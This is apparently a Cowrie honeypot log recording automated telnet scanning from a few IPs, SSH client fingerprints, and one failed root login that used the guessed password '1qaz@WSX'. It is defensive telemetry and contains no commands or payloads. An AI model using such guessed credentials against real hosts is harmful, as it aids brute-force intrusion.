{"eventid":"cowrie.session.closed","duration":32.07999920845032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.137939Z","src_ip":"51.161.172.108","session":"67e3bde8f917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68144464492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.338112Z","src_ip":"51.161.172.108","session":"008e53d47c48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.25032901763916,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.417457Z","src_ip":"51.161.172.108","session":"7f590be2962e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88229489326477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.456407Z","src_ip":"51.161.172.108","session":"ae384193750f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942945957183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.496565Z","src_ip":"51.161.172.108","session":"83e6189a9d6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"39aa611c914e","protocol":"telnet","message":"New connection: 167.99.38.72:57714 (159.203.135.109:23) [session: 39aa611c914e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.898320Z"}
{"eventid":"cowrie.session.closed","duration":31.75405263900757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.973099Z","src_ip":"51.161.172.108","session":"91f18e84119f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51724,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8d5613c2cae","protocol":"telnet","message":"New connection: 51.161.172.108:51724 (159.203.135.109:23) [session: d8d5613c2cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:03.988806Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":57268,"dst_ip":"159.203.135.109","dst_port":23,"session":"200c3eda30b7","protocol":"telnet","message":"New connection: 167.99.38.72:57268 (159.203.135.109:23) [session: 200c3eda30b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.081823Z"}
{"eventid":"cowrie.session.closed","duration":30.470574140548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.237266Z","src_ip":"45.10.154.244","session":"4b4a835f82f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626090049743652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.290703Z","src_ip":"51.161.172.108","session":"c62f5c9d94e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22565531730652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.306674Z","src_ip":"51.161.172.108","session":"76dc610320cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51738,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cf1956f9b55","protocol":"telnet","message":"New connection: 51.161.172.108:51738 (159.203.135.109:23) [session: 0cf1956f9b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.522740Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51744,"dst_ip":"159.203.135.109","dst_port":23,"session":"07fe4c26be51","protocol":"telnet","message":"New connection: 51.161.172.108:51744 (159.203.135.109:23) [session: 07fe4c26be51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.613035Z"}
{"eventid":"cowrie.session.closed","duration":32.85973525047302,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.690008Z","src_ip":"51.161.172.108","session":"2a939195bde7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.683043241500854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.703058Z","src_ip":"51.161.172.108","session":"60246ef17696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48670,"dst_ip":"10.17.0.5","dst_port":23,"session":"a955ff2986a2","protocol":"telnet","message":"New connection: 45.10.154.244:48670 (10.17.0.5:23) [session: a955ff2986a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.808980Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51748,"dst_ip":"159.203.135.109","dst_port":23,"session":"359a9257999d","protocol":"telnet","message":"New connection: 51.161.172.108:51748 (159.203.135.109:23) [session: 359a9257999d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:04.828055Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51708,"dst_ip":"159.203.135.109","dst_port":23,"session":"2292e8558104","protocol":"telnet","message":"New connection: 51.161.172.108:51708 (159.203.135.109:23) [session: 2292e8558104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.012487Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51754,"dst_ip":"159.203.135.109","dst_port":23,"session":"c728ebb8c24a","protocol":"telnet","message":"New connection: 51.161.172.108:51754 (159.203.135.109:23) [session: c728ebb8c24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.092228Z"}
{"eventid":"cowrie.session.closed","duration":31.148722171783447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.185846Z","src_ip":"45.10.154.244","session":"fbd60b0e7cd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.381428718566895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.215047Z","src_ip":"51.161.172.108","session":"3b3cf171e8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51766,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f77417091c","protocol":"telnet","message":"New connection: 51.161.172.108:51766 (159.203.135.109:23) [session: 70f77417091c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.667270Z"}
{"eventid":"cowrie.session.closed","duration":30.94982600212097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.678225Z","src_ip":"51.161.172.108","session":"9d6676e3b1c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817509412765503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.685272Z","src_ip":"51.161.172.108","session":"c379de3904b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.150216102600098,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.737079Z","src_ip":"185.26.126.47","session":"50a50bf00ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6e5fcdce73c","protocol":"telnet","message":"New connection: 167.99.38.72:58766 (159.203.135.109:23) [session: c6e5fcdce73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.787206Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51770,"dst_ip":"159.203.135.109","dst_port":23,"session":"684f08a0220a","protocol":"telnet","message":"New connection: 51.161.172.108:51770 (159.203.135.109:23) [session: 684f08a0220a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.799690Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1ce7c4007b9","protocol":"telnet","message":"New connection: 45.10.154.244:51956 (10.17.0.5:23) [session: b1ce7c4007b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.821224Z"}
{"eventid":"cowrie.session.closed","duration":32.22768425941467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.844622Z","src_ip":"51.161.172.108","session":"635a5fa2f706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42492961883545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:05.945877Z","src_ip":"51.161.172.108","session":"2973d79da0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52676,"dst_ip":"10.17.0.5","dst_port":23,"session":"c09fb543ca08","protocol":"telnet","message":"New connection: 45.10.154.244:52676 (10.17.0.5:23) [session: c09fb543ca08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.026259Z"}
{"eventid":"cowrie.session.closed","duration":30.98975920677185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.119289Z","src_ip":"45.10.154.244","session":"18bc7c3b415b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577025651931763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.197829Z","src_ip":"51.161.172.108","session":"be6266caaabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51796,"dst_ip":"159.203.135.109","dst_port":23,"session":"962afe8dac02","protocol":"telnet","message":"New connection: 51.161.172.108:51796 (159.203.135.109:23) [session: 962afe8dac02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.213650Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57e271a49ef","protocol":"telnet","message":"New connection: 45.10.154.244:53508 (10.17.0.5:23) [session: f57e271a49ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.263795Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.335963Z","src_ip":"122.168.114.167","session":"687ae916330d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51810,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf97ec08794","protocol":"telnet","message":"New connection: 51.161.172.108:51810 (159.203.135.109:23) [session: 3cf97ec08794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.480349Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51812,"dst_ip":"159.203.135.109","dst_port":23,"session":"3630b87e9c8f","protocol":"telnet","message":"New connection: 51.161.172.108:51812 (159.203.135.109:23) [session: 3630b87e9c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.819344Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51822,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aeacf0b7205","protocol":"telnet","message":"New connection: 51.161.172.108:51822 (159.203.135.109:23) [session: 7aeacf0b7205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:06.851704Z"}
{"eventid":"cowrie.session.closed","duration":31.59532880783081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.063284Z","src_ip":"51.161.172.108","session":"ab74187adb80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56490,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe700dbb59d","protocol":"telnet","message":"New connection: 45.10.154.244:56490 (10.17.0.5:23) [session: 5fe700dbb59d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.110302Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56842,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ccd962da958","protocol":"telnet","message":"New connection: 45.10.154.244:56842 (10.17.0.5:23) [session: 2ccd962da958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.204299Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d574191cad1","protocol":"telnet","message":"New connection: 51.161.172.108:51834 (159.203.135.109:23) [session: 9d574191cad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.213297Z"}
{"eventid":"cowrie.session.closed","duration":30.579888820648193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.388493Z","src_ip":"51.161.172.108","session":"29a441c1f774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.817359685897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.433844Z","src_ip":"51.161.172.108","session":"b957eeb94957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83968687057495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.448102Z","src_ip":"51.161.172.108","session":"cfabd0cab49e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183001279830933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.564499Z","src_ip":"45.10.154.244","session":"5dcb18645b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51838,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf8b59e16bc","protocol":"telnet","message":"New connection: 51.161.172.108:51838 (159.203.135.109:23) [session: fbf8b59e16bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.604886Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51844,"dst_ip":"159.203.135.109","dst_port":23,"session":"339c44778166","protocol":"telnet","message":"New connection: 51.161.172.108:51844 (159.203.135.109:23) [session: 339c44778166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.655680Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51842,"dst_ip":"159.203.135.109","dst_port":23,"session":"416c43b8b206","protocol":"telnet","message":"New connection: 51.161.172.108:51842 (159.203.135.109:23) [session: 416c43b8b206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.716289Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51858,"dst_ip":"159.203.135.109","dst_port":23,"session":"e400a5617bf0","protocol":"telnet","message":"New connection: 51.161.172.108:51858 (159.203.135.109:23) [session: e400a5617bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.883941Z"}
{"eventid":"cowrie.session.closed","duration":31.679383754730225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:07.928408Z","src_ip":"51.161.172.108","session":"2ef244adcdbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794466018676758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.207311Z","src_ip":"51.161.172.108","session":"5bdc807b49d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa247add470","protocol":"telnet","message":"New connection: 51.161.172.108:51872 (159.203.135.109:23) [session: 4fa247add470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.432230Z"}
{"eventid":"cowrie.session.closed","duration":31.294570207595825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.462888Z","src_ip":"51.161.172.108","session":"ca04e72438f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5973f8de59b","protocol":"telnet","message":"New connection: 51.161.172.108:51886 (159.203.135.109:23) [session: e5973f8de59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.473529Z"}
{"eventid":"cowrie.session.closed","duration":30.88784098625183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.581640Z","src_ip":"51.161.172.108","session":"f540df1e1c6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51902,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e14834f1fc","protocol":"telnet","message":"New connection: 51.161.172.108:51902 (159.203.135.109:23) [session: d8e14834f1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.610478Z"}
{"eventid":"cowrie.session.closed","duration":32.54831123352051,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.694005Z","src_ip":"51.161.172.108","session":"56a41f3af43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48193073272705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.700004Z","src_ip":"51.161.172.108","session":"bcaa6ee35e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60584,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae5dd253f5c","protocol":"telnet","message":"New connection: 167.99.38.72:60584 (159.203.135.109:23) [session: cae5dd253f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:08.987923Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":51914,"dst_ip":"159.203.135.109","dst_port":23,"session":"750692eefa82","protocol":"telnet","message":"New connection: 51.161.172.108:51914 (159.203.135.109:23) [session: 750692eefa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.062742Z"}
{"eventid":"cowrie.session.closed","duration":30.437722206115723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.268974Z","src_ip":"51.161.172.108","session":"fb5997b4416f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.533300Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.537411Z","src_ip":"122.168.114.167","session":"ae4c7f6aa9c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"57718e2252d7","protocol":"telnet","message":"New connection: 51.161.172.108:59744 (159.203.135.109:23) [session: 57718e2252d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.546673Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":60968,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b3f615f7ab5","protocol":"telnet","message":"New connection: 167.99.38.72:60968 (159.203.135.109:23) [session: 5b3f615f7ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.641525Z"}
{"eventid":"cowrie.session.closed","duration":31.384743452072144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.807670Z","src_ip":"51.161.172.108","session":"edccfa698fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115230083465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:09.952928Z","src_ip":"51.161.172.108","session":"c999360c992a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4116690158844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.100573Z","src_ip":"51.161.172.108","session":"9205f7d7223c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37620401382446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.178823Z","src_ip":"51.161.172.108","session":"e1c3132605cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998533725738525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.313205Z","src_ip":"51.161.172.108","session":"f8f5d5011156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59760,"dst_ip":"159.203.135.109","dst_port":23,"session":"37af719bb455","protocol":"telnet","message":"New connection: 51.161.172.108:59760 (159.203.135.109:23) [session: 37af719bb455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.428514Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":42472,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25ba827f097","protocol":"telnet","message":"New connection: 45.10.154.244:42472 (10.17.0.5:23) [session: b25ba827f097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.736233Z"}
{"eventid":"cowrie.session.closed","duration":31.715471982955933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.918238Z","src_ip":"51.161.172.108","session":"ee3bab21cf27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":59768,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac6212bf936","protocol":"telnet","message":"New connection: 51.161.172.108:59768 (159.203.135.109:23) [session: 1ac6212bf936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:10.963837Z"}
